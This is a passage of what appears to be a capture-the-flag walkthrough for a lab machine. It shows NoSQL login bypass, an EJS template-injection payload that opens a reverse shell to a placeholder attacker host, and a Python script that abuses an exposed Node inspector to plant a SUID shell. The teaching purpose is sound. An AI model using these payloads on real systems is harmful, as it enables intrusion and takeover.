&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Found. Redirecting to /staff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bracket-notation NoSQL injection on both fields, and the session cookie&lt;br&gt;
this sets grants staff access directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;MACHINE_IP&amp;gt;/staff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"lotus"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;- staff console -&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Cabana Desk&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"sub"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Signed in as &lt;span class="nt"&gt;&amp;lt;strong&amp;gt;&lt;/span&gt;attendant&lt;span class="nt"&gt;&amp;lt;/strong&amp;gt;&lt;/span&gt;. Customise the guest booking-confirmation message below.&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/staff/preview"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;label&amp;gt;&lt;/span&gt;Confirmation template (EJS - use &lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;%= guest %&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt; to personalise)&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"template"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Dear &lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;%= guest %&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;, your Byte Lotus cabana is confirmed.&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Preview&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full staff console access, no credentials needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Server-side template injection to RCE
&lt;/h2&gt;

&lt;p&gt;The staff console explicitly tells you it's rendering user-controlled EJS&lt;br&gt;
(&lt;code&gt;use &amp;lt;%= guest %&amp;gt; to personalise&lt;/code&gt;) - a strong signal the &lt;code&gt;template&lt;/code&gt; field&lt;br&gt;
is passed straight into an EJS render call server-side rather than only&lt;br&gt;
substituting the &lt;code&gt;guest&lt;/code&gt; variable into a fixed template.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/staff/preview &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'template=&amp;lt;%= global.process.mainModule.require("child_process").execSync("id") %&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;uid=996(poolside) gid=996(poolside) groups=996(poolside)
&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed RCE as the &lt;code&gt;poolside&lt;/code&gt; service account. EJS has no output&lt;br&gt;
sandboxing by default, and &lt;code&gt;global.process.mainModule.require(...)&lt;/code&gt; is&lt;br&gt;
the standard bypass used when direct &lt;code&gt;require&lt;/code&gt; isn't in scope inside an&lt;br&gt;
EJS expression. Escalated straight to a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/staff/preview &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'template=&amp;lt;%= global.process.mainModule.require("child_process").execSync("bash -c \"bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1\"") %&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;penelope -p 4444 listen
&lt;/span&gt;&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;10.49.131.0 Linux-x86_64 poolside&lt;span class="o"&gt;(&lt;/span&gt;996&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;poolside@tryhackme-2404:/opt/poolside$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;poolside
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;poolside@tryhackme-2404:/opt/poolside$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/poolside/user.txt
&lt;span class="go"&gt;THM{[REDACTED]}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Finding the escalation path - a second Node process
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; needed a password, no SUID/SGID binaries or writable&lt;br&gt;
sudoers files stood out. &lt;code&gt;ps aux&lt;/code&gt; turned up a second Node process running&lt;br&gt;
as a different, unreachable user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;poolside@tryhackme-2404:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; node
&lt;span class="go"&gt;pipelin+   599  0.0  2.2 856472 44976 ?  Ssl  06:41  0:00 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside   600  4.1  4.4 1043140 87800 ?  Ssl  06:41  0:55 /usr/bin/node app.js
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--inspect=127.0.0.1:9229&lt;/code&gt; is the Node.js debugger/inspector flag - it&lt;br&gt;
exposes the full Chrome DevTools Protocol on that port, loopback-only,&lt;br&gt;
running as &lt;code&gt;pipelinesvc&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;poolside@tryhackme-2404:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id &lt;/span&gt;pipelinesvc
&lt;span class="go"&gt;uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pipelinesvc&lt;/code&gt; is a member of the &lt;code&gt;disk&lt;/code&gt; group - worth remembering for&lt;br&gt;
later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;poolside@tryhackme-2404:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://127.0.0.1:9229/json
&lt;span class="go"&gt;[ {
  "id": "67032290-875c-4701-9958-38d997feeebb",
  "title": "processor.js",
  "url": "file:///opt/pipelinesvc/telemetry/processor.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/67032290-875c-4701-9958-38d997feeebb"
} ]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plain &lt;code&gt;curl&lt;/code&gt; against the debugger URL just says &lt;code&gt;WebSockets request was&lt;br&gt;
expected&lt;/code&gt; - the inspector protocol requires a proper WebSocket upgrade&lt;br&gt;
handshake, which curl alone can't do for the JSON-RPC session that&lt;br&gt;
follows.&lt;/p&gt;
&lt;h2&gt;
  
  
  6. Speaking WebSocket to the Node inspector manually
&lt;/h2&gt;

&lt;p&gt;No &lt;code&gt;websocket&lt;/code&gt;/&lt;code&gt;websockets&lt;/code&gt; Python module was installed on the box, so&lt;br&gt;
the handshake and frame encoding were done by hand - a WebSocket upgrade&lt;br&gt;
is just an HTTP &lt;code&gt;Upgrade&lt;/code&gt; header exchange, and a text frame is a simple&lt;br&gt;
opcode + masked-payload structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9229&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_connection&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET /67032290-875c-4701-9958-38d997feeebb HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Upgrade: websocket&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connection: Upgrade&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Sec-WebSocket-Key: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Sec-WebSocket-Version: 13&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send_frame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;mask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;masked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!BB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!BBH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;masked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;method&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Runtime.evaluate&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;params&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;expression&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;global.process.mainModule.require(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;child_process&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).execSync(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).toString()&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;send_frame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HTTP/1.1 101 Switching Protocols&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:1,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;string&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="s"&gt;}}}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Runtime.evaluate&lt;/code&gt; method of the Chrome DevTools Protocol executes&lt;br&gt;
arbitrary JavaScript inside the target Node process - here, used to run a&lt;br&gt;
&lt;code&gt;child_process.execSync&lt;/code&gt; call that copies &lt;code&gt;/bin/bash&lt;/code&gt; to &lt;code&gt;/tmp/rootbash&lt;/code&gt;&lt;br&gt;
and sets the SUID bit, all executing with &lt;code&gt;pipelinesvc&lt;/code&gt;'s real UID/GID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;poolside@tryhackme-2404:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/rootbash
&lt;span class="go"&gt;-rwsr-xr-x 1 pipelinesvc pipelinesvc 1446024 Aug  4 07:05 /tmp/rootbash
&lt;/span&gt;&lt;span class="gp"&gt;poolside@tryhackme-2404:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/rootbash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="gp"&gt;rootbash-5.2$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;pipelinesvc
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Root flag via disk group, not a root shell
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;euid=995(pipelinesvc)&lt;/code&gt; from the SUID bash shell still only carried the&lt;br&gt;
&lt;code&gt;poolside&lt;/code&gt; account's original supplementary group list&lt;br&gt;
(&lt;code&gt;groups=996(poolside)&lt;/code&gt;) - &lt;code&gt;bash -p&lt;/code&gt; preserves the real UID's group&lt;br&gt;
memberships, it doesn't pick up &lt;code&gt;pipelinesvc&lt;/code&gt;'s &lt;code&gt;disk&lt;/code&gt; group membership.&lt;br&gt;
So &lt;code&gt;debugfs&lt;/code&gt; against the raw block device failed from that shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;rootbash-5.2$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;debugfs &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s1"&gt;'cat /root/root.txt'&lt;/span&gt; /dev/nvme0n1p1
&lt;span class="go"&gt;debugfs: Permission denied while trying to open /dev/nvme0n1p1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix: run the privileged read &lt;em&gt;inside&lt;/em&gt; the original Node inspector RCE&lt;br&gt;
instead of through the SUID bash detour - that JavaScript executes&lt;br&gt;
natively as the full &lt;code&gt;pipelinesvc&lt;/code&gt; process, with its real group list&lt;br&gt;
(&lt;code&gt;disk&lt;/code&gt;) intact, giving direct read access to the underlying block&lt;br&gt;
device:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
